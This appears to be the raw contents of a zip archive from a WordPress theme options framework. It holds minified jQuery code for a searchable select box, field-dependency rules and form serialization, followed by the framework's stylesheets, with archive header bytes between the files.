RegExp(e,t)},c.prototype.search_string_match=function(e,t){t=t.exec(e);return!this.search_contains&&null!=t&&t[1]&&(t.index+=1),t},c.prototype.choices_count=function(){var e,t,n;if(null==this.selected_option_count)for(e=this.selected_option_count=0,t=(n=this.form_field.options).length;e<t;e++)n[e].selected&&(this.selected_option_count+=1);return this.selected_option_count},c.prototype.choices_click=function(e){if(e.preventDefault(),this.activate_field(),!this.results_showing&&!this.is_disabled)return this.results_show()},c.prototype.keydown_checker=function(e){var t=null!=(t=e.which)?t:e.keyCode;switch(this.search_field_scale(),8!==t&&this.pending_backstroke&&this.clear_backstroke(),t){case 8:this.backstroke_length=this.get_search_field_value().length;break;case 9:this.results_showing&&!this.is_multiple&&this.result_select(e),this.mouse_on_container=!1;break;case 13:case 27:this.results_showing&&e.preventDefault();break;case 32:this.disable_search&&e.preventDefault();break;case 38:e.preventDefault(),this.keyup_arrow();break;case 40:e.preventDefault(),this.keydown_arrow()}},c.prototype.keyup_checker=function(e){var t=null!=(t=e.which)?t:e.keyCode;switch(this.search_field_scale(),t){case 8:this.is_multiple&&this.backstroke_length<1&&0<this.choices_count()?this.keydown_backstroke():this.pending_backstroke||(this.result_clear_highlight(),this.results_search());break;case 13:e.preventDefault(),this.results_showing&&this.result_select(e);break;case 27:this.results_showing&&this.results_hide();break;case 9:case 16:case 17:case 18:case 38:case 40:case 91:break;default:this.results_search()}},c.prototype.clipboard_event_checker=function(e){var t;if(!this.is_disabled)return setTimeout((t=this,function(){return t.results_search()}),50)},c.prototype.container_width=function(){return null!=this.options.width?this.options.width:this.form_field.offsetWidth+"px"},c.prototype.include_option_in_results=function(e){return!(this.is_multiple&&!this.display_selected_options&&e.selected)&&(!(!this.display_disabled_options&&e.disabled)&&!e.empty)},c.prototype.search_results_touchstart=function(e){return this.touch_started=!0,this.search_results_mouseover(e)},c.prototype.search_results_touchmove=function(e){return this.touch_started=!1,this.search_results_mouseout(e)},c.prototype.search_results_touchend=function(e){if(this.touch_started)return this.search_results_mouseup(e)},c.prototype.outerHTML=function(e){var t;return e.outerHTML||((t=document.createElement("div")).appendChild(e),t.innerHTML)},c.prototype.get_single_html=function(){return'<a class="chosen-single chosen-default">\n  <span>'+this.default_text+'</span>\n  <div><b></b></div>\n</a>\n<div class="chosen-drop">\n  <div class="chosen-search">\n    <input class="chosen-search-input" type="text" autocomplete="off" />\n  </div>\n  <ul class="chosen-results"></ul>\n</div>'},c.prototype.get_multi_html=function(){return'<ul class="chosen-choices">\n  <li class="search-field">\n    <input class="chosen-search-input" type="text" autocomplete="off" value="'+this.default_text+'" />\n  </li>\n</ul>\n<div class="chosen-drop">\n  <ul class="chosen-results"></ul>\n</div>'},c.prototype.get_no_results_html=function(e){return'<li class="no-results">\n  '+this.results_none_found+" <span>"+this.escape_html(e)+"</span>\n</li>"},c.browser_is_supported=function(){return"Microsoft Internet Explorer"===window.navigator.appName?8<=document.documentMode:!(/iP(od|hone)/i.test(window.navigator.userAgent)||/IEMobile/i.test(window.navigator.userAgent)||/Windows Phone/i.test(window.navigator.userAgent)||/BlackBerry/i.test(window.navigator.userAgent)||/BB10/i.test(window.navigator.userAgent)||/Android.*Mobile/i.test(window.navigator.userAgent))},c.default_multiple_text="Select Some Options",c.default_single_text="Select an Option",c.default_no_result_text="No results match",s=c,(a=jQuery).fn.extend({chosen:function(i){return s.browser_is_supported()?this.each(function(e){var t=a(this),n=t.data("chosen");"destroy"===i?n instanceof o&&n.destroy():n instanceof o||t.data("chosen",new o(this,i))}):this}}),o=function(){var e,t=o,n=s;for(e in n)l.call(n,e)&&(t[e]=n[e]);function i(){this.constructor=t}function o(){return o.__super__.constructor.apply(this,arguments)}return i.prototype=n.prototype,t.prototype=new i,t.__super__=n.prototype,o.prototype.setup=function(){return this.form_field_jq=a(this.form_field),this.current_selectedIndex=this.form_field.selectedIndex},o.prototype.set_up_html=function(){var e=["chosen-container"];return e.push("chosen-container-"+(this.is_multiple?"multi":"single")),this.inherit_select_classes&&this.form_field.className&&e.push(this.form_field.className),this.is_rtl&&e.push("chosen-rtl"),e={class:e.join(" "),title:this.form_field.title},this.form_field.id.length&&(e.id=this.form_field.id.replace(/[^\w]/g,"_")+"_chosen"),this.container=a("<div />",e),this.container.width(this.container_width()),this.is_multiple?this.container.html(this.get_multi_html()):this.container.html(this.get_single_html()),this.form_field_jq.hide().after(this.container),this.dropdown=this.container.find("div.chosen-drop").first(),this.search_field=this.container.find("input").first(),this.search_results=this.container.find("ul.chosen-results").first(),this.search_field_scale(),this.search_no_results=this.container.find("li.no-results").first(),this.is_multiple?(this.search_choices=this.container.find("ul.chosen-choices").first(),this.search_container=this.container.find("li.search-field").first()):(this.search_container=this.container.find("div.chosen-search").first(),this.selected_item=this.container.find(".chosen-single").first()),this.results_build(),this.set_tab_index(),this.set_label_behavior()},o.prototype.on_ready=function(){return this.form_field_jq.trigger("chosen:ready",{chosen:this})},o.prototype.register_observers=function(){var t,n,i,o,s,r,a,l,c,h,u,d,f,p,_,m,g,v,y,b,w,D,C,x;return this.container.on("touchstart.chosen",(t=this,function(e){t.container_mousedown(e)})),this.container.on("touchend.chosen",(n=this,function(e){n.container_mouseup(e)})),this.container.on("mousedown.chosen",(i=this,function(e){i.container_mousedown(e)})),this.container.on("mouseup.chosen",(o=this,function(e){o.container_mouseup(e)})),this.container.on("mouseenter.chosen",(s=this,function(e){s.mouse_enter(e)})),this.container.on("mouseleave.chosen",(r=this,function(e){r.mouse_leave(e)})),this.search_results.on("mouseup.chosen",(a=this,function(e){a.search_results_mouseup(e)})),this.search_results.on("mouseover.chosen",(l=this,function(e){l.search_results_mouseover(e)})),this.search_results.on("mouseout.chosen",(c=this,function(e){c.search_results_mouseout(e)})),this.search_results.on("mousewheel.chosen DOMMouseScroll.chosen",(h=this,function(e){h.search_results_mousewheel(e)})),this.search_results.on("touchstart.chosen",(u=this,function(e){u.search_results_touchstart(e)})),this.search_results.on("touchmove.chosen",(d=this,function(e){d.search_results_touchmove(e)})),this.search_results.on("touchend.chosen",(f=this,function(e){f.search_results_touchend(e)})),this.form_field_jq.on("chosen:updated.chosen",(p=this,function(e){p.results_update_field(e)})),this.form_field_jq.on("chosen:activate.chosen",(_=this,function(e){_.activate_field(e)})),this.form_field_jq.on("chosen:open.chosen",(m=this,function(e){m.container_mousedown(e)})),this.form_field_jq.on("chosen:close.chosen",(g=this,function(e){g.close_field(e)})),this.search_field.on("blur.chosen",(v=this,function(e){v.input_blur(e)})),this.search_field.on("keyup.chosen",(y=this,function(e){y.keyup_checker(e)})),this.search_field.on("keydown.chosen",(b=this,function(e){b.keydown_checker(e)})),this.search_field.on("focus.chosen",(w=this,function(e){w.input_focus(e)})),this.search_field.on("cut.chosen",(D=this,function(e){D.clipboard_event_checker(e)})),this.search_field.on("paste.chosen",(C=this,function(e){C.clipboard_event_checker(e)})),this.is_multiple?this.search_choices.on("click.chosen",(x=this,function(e){x.choices_click(e)})):this.container.on("click.chosen",function(e){e.preventDefault()})},o.prototype.destroy=function(){return a(this.container[0].ownerDocument).off("click.chosen",this.click_test_action),0<this.form_field_label.length&&this.form_field_label.off("click.chosen"),this.search_field[0].tabIndex&&(this.form_field_jq[0].tabIndex=this.search_field[0].tabIndex),this.container.remove(),this.form_field_jq.removeData("chosen"),this.form_field_jq.show()},o.prototype.search_field_disabled=function(){return this.is_disabled=this.form_field.disabled||this.form_field_jq.parents("fieldset").is(":disabled"),this.container.toggleClass("chosen-disabled",this.is_disabled),this.search_field[0].disabled=this.is_disabled,this.is_multiple||this.selected_item.off("focus.chosen",this.activate_field),this.is_disabled?this.close_field():this.is_multiple?void 0:this.selected_item.on("focus.chosen",this.activate_field)},o.prototype.container_mousedown=function(e){var t;if(!this.is_disabled)return!e||"mousedown"!==(t=e.type)&&"touchstart"!==t||this.results_showing||e.preventDefault(),null!=e&&a(e.target).hasClass("search-choice-close")?void 0:(this.active_field?this.is_multiple||!e||a(e.target)[0]!==this.selected_item[0]&&!a(e.target).parents("a.chosen-single").length||(e.preventDefault(),this.results_toggle()):(this.is_multiple&&this.search_field.val(""),a(this.container[0].ownerDocument).on("click.chosen",this.click_test_action),this.results_show()),this.activate_field())},o.prototype.container_mouseup=function(e){if("ABBR"===e.target.nodeName&&!this.is_disabled)return this.results_reset(e)},o.prototype.search_results_mousewheel=function(e){var t;if(null!=(t=e.originalEvent?e.originalEvent.deltaY||-e.originalEvent.wheelDelta||e.originalEvent.detail:t))return e.preventDefault(),"DOMMouseScroll"===e.type&&(t*=40),this.search_results.scrollTop(t+this.search_results.scrollTop())},o.prototype.blur_test=function(e){if(!this.active_field&&this.container.hasClass("chosen-container-active"))return this.close_field()},o.prototype.close_field=function(){return a(this.container[0].ownerDocument).off("click.chosen",this.click_test_action),this.active_field=!1,this.results_hide(),this.container.removeClass("chosen-container-active"),this.clear_backstroke(),this.show_search_field_default(),this.search_field_scale(),this.search_field.blur()},o.prototype.activate_field=function(){if(!this.is_disabled)return this.container.addClass("chosen-container-active"),this.active_field=!0,this.search_field.val(this.search_field.val()),this.search_field.focus()},o.prototype.test_active_click=function(e){e=a(e.target).closest(".chosen-container");return e.length&&this.container[0]===e[0]?this.active_field=!0:this.close_field()},o.prototype.results_build=function(){return this.parsing=!0,this.selected_option_count=null,this.results_data=r.select_to_array(this.form_field),this.is_multiple?this.search_choices.find("li.search-choice").remove():(this.single_set_selected_text(),this.disable_search||this.form_field.options.length<=this.disable_search_threshold?(this.search_field[0].readOnly=!0,this.container.addClass("chosen-container-single-nosearch")):(this.search_field[0].readOnly=!1,this.container.removeClass("chosen-container-single-nosearch"))),this.update_results_content(this.results_option_build({first:!0})),this.search_field_disabled(),this.show_search_field_default(),this.search_field_scale(),this.parsing=!1},o.prototype.result_do_highlight=function(e){var t,n,i;if(e.length)return this.result_clear_highlight(),this.result_highlight=e,this.result_highlight.addClass("highlighted"),(e=parseInt(this.search_results.css("maxHeight"),10))+(i=this.search_results.scrollTop())<=(t=(n=this.result_highlight.position().top+this.search_results.scrollTop())+this.result_highlight.outerHeight())?this.search_results.scrollTop(0<t-e?t-e:0):n<i?this.search_results.scrollTop(n):void 0},o.prototype.result_clear_highlight=function(){return this.result_highlight&&this.result_highlight.removeClass("highlighted"),this.result_highlight=null},o.prototype.results_show=function(){return this.is_multiple&&this.max_selected_options<=this.choices_count()?(this.form_field_jq.trigger("chosen:maxselected",{chosen:this}),!1):(this.container.addClass("chosen-with-drop"),this.results_showing=!0,this.search_field.focus(),this.search_field.val(this.get_search_field_value()),this.winnow_results(),this.form_field_jq.trigger("chosen:showing_dropdown",{chosen:this}))},o.prototype.update_results_content=function(e){return this.search_results.html(e)},o.prototype.results_hide=function(){return this.results_showing&&(this.result_clear_highlight(),this.container.removeClass("chosen-with-drop"),this.form_field_jq.trigger("chosen:hiding_dropdown",{chosen:this})),this.results_showing=!1},o.prototype.set_tab_index=function(e){var t;if(this.form_field.tabIndex)return t=this.form_field.tabIndex,this.form_field.tabIndex=-1,this.search_field[0].tabIndex=t},o.prototype.set_label_behavior=function(){if(this.form_field_label=this.form_field_jq.parents("label"),!this.form_field_label.length&&this.form_field.id.length&&(this.form_field_label=a("label[for='"+this.form_field.id+"']")),0<this.form_field_label.length)return this.form_field_label.on("click.chosen",this.label_click_handler)},o.prototype.show_search_field_default=function(){return this.is_multiple&&this.choices_count()<1&&!this.active_field?(this.search_field.val(this.default_text),this.search_field.addClass("default")):(this.search_field.val(""),this.search_field.removeClass("default"))},o.prototype.search_results_mouseup=function(e){var t=a(e.target).hasClass("active-result")?a(e.target):a(e.target).parents(".active-result").first();if(t.length)return this.result_highlight=t,this.result_select(e),this.search_field.focus()},o.prototype.search_results_mouseover=function(e){e=a(e.target).hasClass("active-result")?a(e.target):a(e.target).parents(".active-result").first();if(e)return this.result_do_highlight(e)},o.prototype.search_results_mouseout=function(e){if(a(e.target).hasClass("active-result")||a(e.target).parents(".active-result").first())return this.result_clear_highlight()},o.prototype.choice_build=function(e){var t,n=a("<li />",{class:"search-choice"}).html("<span>"+this.choice_label(e)+"</span>");return e.disabled?n.addClass("search-choice-disabled"):((e=a("<a />",{class:"search-choice-close","data-option-array-index":e.array_index})).on("click.chosen",(t=this,function(e){return t.choice_destroy_link_click(e)})),n.append(e)),this.search_container.before(n)},o.prototype.choice_destroy_link_click=function(e){if(e.preventDefault(),e.stopPropagation(),!this.is_disabled)return this.choice_destroy(a(e.target))},o.prototype.choice_destroy=function(e){if(this.result_deselect(e[0].getAttribute("data-option-array-index")))return this.active_field?this.search_field.focus():this.show_search_field_default(),this.is_multiple&&0<this.choices_count()&&this.get_search_field_value().length<1&&this.results_hide(),e.parents("li").first().remove(),this.search_field_scale()},o.prototype.results_reset=function(){if(this.reset_single_select_options(),this.form_field.options[0].selected=!0,this.single_set_selected_text(),this.show_search_field_default(),this.results_reset_cleanup(),this.trigger_form_field_change(),this.active_field)return this.results_hide()},o.prototype.results_reset_cleanup=function(){return this.current_selectedIndex=this.form_field.selectedIndex,this.selected_item.find("abbr").remove()},o.prototype.result_select=function(e){var t;if(this.result_highlight)return t=this.result_highlight,this.result_clear_highlight(),this.is_multiple&&this.max_selected_options<=this.choices_count()?(this.form_field_jq.trigger("chosen:maxselected",{chosen:this}),!1):(this.is_multiple?t.removeClass("active-result"):this.reset_single_select_options(),t.addClass("result-selected"),(t=this.results_data[t[0].getAttribute("data-option-array-index")]).selected=!0,this.form_field.options[t.options_index].selected=!0,this.selected_option_count=null,this.is_multiple?this.choice_build(t):this.single_set_selected_text(this.choice_label(t)),this.is_multiple&&(!this.hide_results_on_select||e.metaKey||e.ctrlKey)?e.metaKey||e.ctrlKey?this.winnow_results({skip_highlight:!0}):(this.search_field.val(""),this.winnow_results()):(this.results_hide(),this.show_search_field_default()),!this.is_multiple&&this.form_field.selectedIndex===this.current_selectedIndex||this.trigger_form_field_change({selected:this.form_field.options[t.options_index].value}),this.current_selectedIndex=this.form_field.selectedIndex,e.preventDefault(),this.search_field_scale())},o.prototype.single_set_selected_text=function(e){return(e=null==e?this.default_text:e)===this.default_text?this.selected_item.addClass("chosen-default"):(this.single_deselect_control_build(),this.selected_item.removeClass("chosen-default")),this.selected_item.find("span").html(e)},o.prototype.result_deselect=function(e){e=this.results_data[e];return!this.form_field.options[e.options_index].disabled&&(e.selected=!1,this.form_field.options[e.options_index].selected=!1,this.selected_option_count=null,this.result_clear_highlight(),this.results_showing&&this.winnow_results(),this.trigger_form_field_change({deselected:this.form_field.options[e.options_index].value}),this.search_field_scale(),!0)},o.prototype.single_deselect_control_build=function(){if(this.allow_single_deselect)return this.selected_item.find("abbr").length||this.selected_item.find("span").first().after('<abbr class="search-choice-close"></abbr>'),this.selected_item.addClass("chosen-single-with-deselect")},o.prototype.get_search_field_value=function(){return this.search_field.val()},o.prototype.get_search_text=function(){return a.trim(this.get_search_field_value())},o.prototype.escape_html=function(e){return a("<div/>").text(e).html()},o.prototype.winnow_results_set_highlight=function(){var e=this.is_multiple?[]:this.search_results.find(".result-selected.active-result"),e=(e.length?e:this.search_results.find(".active-result")).first();if(null!=e)return this.result_do_highlight(e)},o.prototype.no_results=function(e){e=this.get_no_results_html(e);return this.search_results.append(e),this.form_field_jq.trigger("chosen:no_results",{chosen:this})},o.prototype.no_results_clear=function(){return this.search_results.find(".no-results").remove()},o.prototype.keydown_arrow=function(){var e;return this.results_showing&&this.result_highlight?(e=this.result_highlight.nextAll("li.active-result").first())?this.result_do_highlight(e):void 0:this.results_show()},o.prototype.keyup_arrow=function(){var e;return this.results_showing||this.is_multiple?this.result_highlight?(e=this.result_highlight.prevAll("li.active-result")).length?this.result_do_highlight(e.first()):(0<this.choices_count()&&this.results_hide(),this.result_clear_highlight()):void 0:this.results_show()},o.prototype.keydown_backstroke=function(){var e;return this.pending_backstroke?(this.choice_destroy(this.pending_backstroke.find("a").first()),this.clear_backstroke()):(e=this.search_container.siblings("li.search-choice").last()).length&&!e.hasClass("search-choice-disabled")?(this.pending_backstroke=e,this.single_backstroke_delete?this.keydown_backstroke():this.pending_backstroke.addClass("search-choice-focus")):void 0},o.prototype.clear_backstroke=function(){return this.pending_backstroke&&this.pending_backstroke.removeClass("search-choice-focus"),this.pending_backstroke=null},o.prototype.search_field_scale=function(){var e,t,n,i,o,s,r;if(this.is_multiple){for(o={position:"absolute",left:"-1000px",top:"-1000px",display:"none",whiteSpace:"pre"},t=0,n=(s=["fontSize","fontStyle","fontWeight","fontFamily","lineHeight","textTransform","letterSpacing"]).length;t<n;t++)o[i=s[t]]=this.search_field.css(i);return(e=a("<div />").css(o)).text(this.get_search_field_value()),a("body").append(e),r=e.width()+25,e.remove(),this.container.is(":visible")&&(r=Math.min(this.container.outerWidth()-10,r)),this.search_field.width(r)}},o.prototype.trigger_form_field_change=function(e){return this.form_field_jq.trigger("input",e),this.form_field_jq.trigger("change",e)},o}()}.call(this),function(r){"use strict";function i(e,t,n){this.init(e,t,n)}function e(){this.rules=[]}r.extend(i.prototype,{init:function(e,t,n){this.controller=e,this.condition=t,this.value=n,this.rules=[],this.controls=[]},evalCondition:function(e,t,n,i,o){if("=="==n)return this.checkBoolean(i)==this.checkBoolean(o);if("!="==n)return this.checkBoolean(i)!=this.checkBoolean(o);if(">="==n)return Number(o)>=Number(i);if("<="==n)return Number(o)<=Number(i);if(">"==n)return Number(o)>Number(i);if("<"==n)return Number(o)<Number(i);if("()"==n)return window[i](e,t,o);if("any"==n){if(r.isArray(o)){for(var s=o.length-1;0<=s;s--)if(-1!==r.inArray(o[s],i.split(",")))return!0}else if(-1!==r.inArray(o,i.split(",")))return!0}else if("not-any"==n)if(r.isArray(o)){for(s=o.length-1;0<=s;s--)if(-1==r.inArray(o[s],i.split(",")))return!0}else if(-1==r.inArray(o,i.split(",")))return!0;return!1},checkBoolean:function(e){switch(e){case!0:case"true":case 1:case"1":e=!0;break;case null:case!1:case"false":case 0:case"0":e=!1}return e},checkCondition:function(e){if(!this.condition)return!0;var t=e.find(this.controller),n=this.getControlValue(e,t);return void 0!==n&&(n=this.normalizeValue(t,this.value,n),this.evalCondition(e,t,this.condition,this.value,n))},normalizeValue:function(e,t,n){return"number"==typeof t?parseFloat(n):n},getControlValue:function(e,t){return 1<t.length&&("radio"==t.attr("type")||"checkbox"==t.attr("type"))?t.filter(":checked").map(function(){return this.value}).get():"checkbox"==t.attr("type")||"radio"==t.attr("type")?t.is(":checked"):t.val()},createRule:function(e,t,n){e=new i(e,t,n);return this.rules.push(e),e},include:function(e){this.controls.push(e)},applyRule:function(n,e){var e=void 0===e?this.checkCondition(n):e,t=r.map(this.controls,function(e,t){return n.find(e)});e?(r(t).each(function(){r(this).removeClass("csf-depend-on")}),r(this.rules).each(function(){this.applyRule(n)})):(r(t).each(function(){r(this).addClass("csf-depend-on")}),r(this.rules).each(function(){this.applyRule(n,!1)}))}}),r.extend(e.prototype,{createRule:function(e,t,n){e=new i(e,t,n);return this.rules.push(e),e},applyRules:function(e){r(this.rules).each(function(){this.applyRule(e)})}}),r.csf_deps={createRuleset:function(){return new e},enable:function(t,n,i){return t.on("change keyup",function(e){e=e.target.getAttribute("data-depend-id")||e.target.getAttribute("data-sub-depend-id");-1!==i.indexOf(e)&&n.applyRules(t)}),n.applyRules(t),!0}}}(jQuery),function(e,t){var n;"function"==typeof define&&define.amd?define(["exports","jquery"],t):"undefined"!=typeof exports?(n=require("jquery"),t(exports,n)):t(e,e.jQuery||e.Zepto||e.ender||e.$)}(this,function(e,t){var a={validate:/^(?!(_nonce|_pseudo))[a-zA-Z0-9_-]*(?:\[(?:\d*|(?!(_nonce|_pseudo))[a-zA-Z0-9_-]+)\])*$/i,key:/[a-zA-Z0-9_-]+|(?=\[\])/g,named:/^[a-zA-Z0-9_-]+$/,push:/^$/,fixed:/^\d+$/};function n(i,e){var t={},o={};function s(e,t,n){return e[t]=n,e}function n(e,t){for(var n,i=e.match(a.key);void 0!==(n=i.pop());)a.push.test(n)?t=s([],function(e){void 0===o[e]&&(o[e]=0);return o[e]++}(e.replace(/\[\]$/,"")),t):a.fixed.test(n)?t=s([],n,t):a.named.test(n)&&(t=s({},n,t));return t}function r(){return t}this.addPair=function(e){return a.validate.test(e.name)&&(e=n(e.name,e.value),t=i.extend(!0,t,e)),this},this.addPairs=function(e){if(!i.isArray(e))throw new Error("formSerializer.addPairs expects an Array");for(var t=0,n=e.length;t<n;t++)this.addPair(e[t]);return this},this.serialize=r,this.serializeJSON=function(){return JSON.stringify(t)}}return n.patterns=a,n.serializeObject=function(){return new n(t).addPairs(this.serializeArray()).serialize()},n.serializeJSON=function(){return new n(t).addPairs(this.serializeArray()).serializeJSON()},void 0!==t.fn&&(t.fn.serializeObjectCSF=n.serializeObject,t.fn.serializeJSONCSF=n.serializeJSON),e.FormSerializer=n});PK     1w\    .  options/framework/assets/css/style-rtl.min.cssnu [        .csf-options{margin-left:20px;margin-right:0}.csf-nav-normal+.csf-content{margin-left:0}.csf-header h1{float:right}.csf-header fieldset{float:left}.csf-buttons{float:left;direction:ltr}.csf-header-left{float:right}.csf-header-right{float:left}.csf-nav{float:right}.csf-nav ul{clear:right}.csf-nav ul li .csf-active:after{right:auto;left:0;border-left-color:#fff;border-right-color:transparent}.csf-nav ul li .csf-arrow:after{content:"\f053";right:auto;left:10px}.csf-nav ul li.csf-tab-expanded .csf-arrow:after{transform:rotate(-90deg)}.csf-nav ul ul li a{padding-right:25px;padding-left:15px}.csf-nav ul ul:before{left:auto;right:15px}.csf-nav .csf-tab-icon{left:auto;right:0}.penci-cpnale-tab-title{padding-left:0;padding-right:45px}.csf-theme-light .csf-nav-background{border-right:0;border-left:0}.csf-theme-light .csf-nav-normal>ul li a{border-right:0;border-left:0}body .csf-theme-light .csf-nav ul li .csf-active:after{left:12px;right:auto;content:"\f053"}.csf-nav-background{left:auto;right:0}.csf-content{margin-left:0;margin-right:225px}.csf-sections{float:right}.csf-show-all .csf-content{margin-right:0;overflow:hidden}.csf-expand-all{float:right;right:auto;left:40px;margin-right:0;margin-left:4px}.csf-search{float:right}.csf-search input{margin:0 0 0 5px}.csf-copyright{float:right}.csf-metabox{margin:-6px -12px -12px -12px}.csf-metabox .csf-section-title{padding:20px}.csf-section-title .csf-section-icon{margin-left:5px;margin-right:0}.csf-field .csf-title{float:right}.csf-field .csf-fieldset{float:left}.csf-pseudo-field{padding:0 0 0 5px!important}.csf-field-typography select{margin:0;width:100%}.csf-field-typography .csf--blocks-inputs .csf--blocks{flex-direction:row-reverse}.csf-field-typography .csf--unit{left:4px;right:auto}.csf-field-checkbox ul ul li,.csf-field-radio ul ul li{margin-left:0;margin-right:8px}.csf-field-checkbox ul ul li:first-child,.csf-field-radio ul ul li:first-child{margin-right:0}.csf-field-checkbox .csf--inline-list li,.csf-field-radio .csf--inline-list li{margin-right:0;margin-left:15px}.csf-field-checkbox .csf--text,.csf-field-radio .csf--text{margin-left:0;margin-right:5px}.csf-field-switcher .csf--switcher{float:right}.csf-field-switcher .csf--label{float:right;margin-left:0;margin-right:5px}.csf-field-upload .csf--button,.csf-field-upload .csf--remove{margin-left:0;margin-right:5px}.csf-field-group .csf-cloneable-title{padding:15px 10px 15px 65px}.csf-field-group .csf-cloneable-helper{right:auto;left:10px}.csf-field-repeater .csf-repeater-helper{border-left:0;border-right:1px solid #eee}.csf-help{right:auto;left:5px}.csf-field-icon .button{margin-right:0;margin-left:5px}.csf-field-icon .csf-icon-preview i{margin-right:0;margin-left:5px}.csf-field-gallery ul li{margin-right:0;margin-left:5px}.csf-field-gallery .button{margin-right:0;margin-left:5px}.csf-field-tabbed .csf-tabbed-nav .csf--icon{padding-right:0;padding-left:5px}.csf-field-tabbed .csf-tabbed-nav a{margin-right:0;margin-left:5px}.csf-field-media .button{margin-left:0;margin-right:7px}.csf-field-media .hidden+.button{margin-right:0}.csf-notice{border-left:none;border-right-style:solid;border-right-width:4px}.csf-field-border .csf--input,.csf-field-border .csf-fieldset,.csf-field-dimensions .csf--input,.csf-field-dimensions .csf-fieldset,.csf-field-sizes .csf--inputs,.csf-field-sizes .csf-fieldset,.csf-field-spacing .csf--input,.csf-field-spacing .csf-fieldset,.csf-field-spacings .csf--inputs,.csf-field-spacings .csf-fieldset{direction:ltr}.csf-field-border .csf--color,.csf-field-border .csf--inputs,.csf-field-dimensions .csf--color,.csf-field-dimensions .csf--inputs,.csf-field-sizes .csf--color,.csf-field-sizes .csf--inputs,.csf-field-spacing .csf--color,.csf-field-spacing .csf--inputs,.csf-field-spacings .csf--color,.csf-field-spacings .csf--inputs{float:right}.csf-field-border .csf--color,.csf-field-dimensions .csf--color,.csf-field-spacing .csf--color{margin-right:4px;direction:rtl}.csf-field-background .csf--block{float:right}.csf-field-background .csf--media,.csf-field-background .csf--select{padding-right:0}.csf-field-background .csf--title{margin-right:0;margin-left:5px}.csf-field-spinner .csf--spin{float:right;direction:ltr}.csf-field-slider .csf-slider-ui{direction:ltr;margin-right:0;margin-left:15px}.csf-field-slider .csf--input{direction:ltr}.csf-field-button_set .csf--button-group{float:right}.csf-field-link_color .csf--left{float:right;margin-right:0;margin-left:10px}.csf-field-color_group .csf--left{float:right;margin-right:0;margin-left:10px}.csf-field-palette .csf--palette{margin-right:0;margin-left:10px}.csf-field-accordion .csf--icon{margin-right:0;margin-left:2px}.csf-field-date .csf--to{margin-left:0;margin-right:7px}.csf-field-map .csf--map-input:last-child{padding-left:0;padding-right:10px}.csf-field-sortable .csf-sortable-helper{border-left:none;border-right:1px solid #eee}.csf-field-number .csf--wrap{float:right}.csf-field-number .csf--unit{left:4px;right:auto}.csf-taxonomy-add-fields{margin-right:0;margin-left:30px}.csf-taxonomy-add-fields .csf-field>.csf-fieldset>.csf-help{left:-5px;right:auto}.csf-taxonomy-edit-fields{margin-right:0;margin-left:35px}.csf-taxonomy-edit-fields .csf-field>.csf-fieldset>.csf-help{right:auto;left:-5px}.csf-profile-options>h2>.fa{padding-right:0;padding-left:7px}.csf-profile-options>.csf-field>.csf-fieldset>.csf-help{left:-5px;right:auto}.csf-nav-menu-options>.csf-fields{margin-left:0;margin-right:-10px}.csf-nav-menu-title{padding-left:14px;padding-right:12px}.csf-nav-menu-icon{margin-right:0;margin-left:5px}.csf-modal-content .csf-field{padding:15px 15px 15px 30px}.csf-modal-title{padding:0 16px 0 36px}.csf-modal-close{right:auto;left:0}.control-section .csf-field .csf-fieldset{margin-right:0}@media only screen and (max-width:1200px){.csf-metabox .csf-field .csf-fieldset{margin-left:0}}@media only screen and (max-width:782px){.csf .csf-content,.csf .csf-fieldset{margin-right:0}}.csf-field .csf--transparent-slider{margin-left:0;margin-right:2px}.csf-field .csf--transparent-slider .ui-slider-handle{margin:0 -11px}.csf-field .csf--transparent-offset{background-position:center right}.csf-field .csf--transparent-text{right:auto;left:10px}.csf-desc-text{float:right;text-align:right}.csf-heading-expand{left:30px;right:auto}PK     2w\ͻP  &  options/framework/assets/css/style.cssnu [        .csf {
  position: relative;
}
.csf label {
  padding: 0;
  margin: 0;
  display: inline-block;
}
.csf-ab-icon {
  top: 2px;
}
#screen-meta-links + .csf-options {
  margin-top: 40px;
}
.csf-options {
  margin-top: 40px;
  margin-right: 15px;
  margin-left: 15px;
}
.csf-header {
  position: relative;
}
.csf-header-inner {
  padding: 25px;
  transition: box-shadow 0.3s ease;
}
.csf-header-inner h1 {
  float: left;
  font-size: 1.5em;
  line-height: 26px;
  font-weight: 400;
  margin: 0;
}
.csf-header-inner h1 small {
  font-size: 11px;
  font-weight: 500;
}
.csf-sticky .csf-header-inner {
  position: fixed;
  z-index: 99;
  top: 32px;
  box-shadow: 0 5px 10px rgba(0, 0, 0, 0.1);
}
.csf-buttons {
  float: right;
}
.csf-buttons .button {
  margin: 0 2px;
  line-height: 34px;
  border-radius: 0;
}
.csf-buttons .button:focus {
  outline: 0 !important;
  box-shadow: none !important;
}
.csf-buttons .csf-save {
  min-width: 72px;
}
.csf-header-left {
  float: left;
}
.csf-header-right {
  float: right;
}
.csf-nav {
  display: block;
  position: relative;
  z-index: 10;
  float: left;
}
.csf-nav ul {
  clear: left;
  margin: 0;
  list-style-type: none;
}
.csf-nav ul li {
  margin-bottom: 0;
}
.csf-nav ul li a {
  font-size: 14px;
  position: relative;
  display: block;
  padding: 20px 15px;
  text-decoration: none;
  transition-property: color, background;
  transition-duration: 0.2s;
  transition-timing-function: ease;
  line-height: 1.4;
}
.csf-nav ul li a:focus {
  outline: 0;
  box-shadow: none;
}
.csf-nav ul li .csf-arrow:after {
  content: "\f054";
  display: inline-block;
  font-family: "Font Awesome 5 Pro", "Font Awesome 5 Free", FontAwesome;
  font-weight: 900;
  font-size: 9px;
  line-height: 1;
  position: absolute;
  right: 12px;
  top: 50%;
  margin-top: -4px;
}
.csf-nav ul li.csf-tab-expanded .csf-arrow:after {
  transform: rotate(90deg);
}
.csf-nav ul li.csf-tab-expanded ul {
  display: block;
}
.csf-nav ul ul {
  display: none;
  position: relative;
}
.csf-nav ul ul li a {
  font-size: 12px;
  padding: 12px 15px 12px 30px;
}
.csf-nav ul li.csf-tab-expanded ul {
    background: transparent;
}
.csf-nav .csf-tab-icon {
  width: 20px;
  margin-right: 20px;
  font-size: 26px;
  text-align: center;
  vertical-align: middle;
  position: absolute;
  left: 20px;
  top: 0;
  bottom: 0;
  display: flex;
  align-items: center;
}
.penci-cpnale-tab-title {
  padding-left: 45px;
  display: block;
}
.csf-nav .csf-label-error {
  margin-left: 4px;
  vertical-align: top;
}
.csf-nav-normal {
  width: 225px;
}
.csf-nav-normal + .csf-content {
  margin-left: 225px;
}
.csf-nav-inline {
  width: 100%;
}
.csf-nav-inline ul li {
  display: inline-block;
  vertical-align: top;
}
.csf-nav-background {
  position: absolute;
  top: 0;
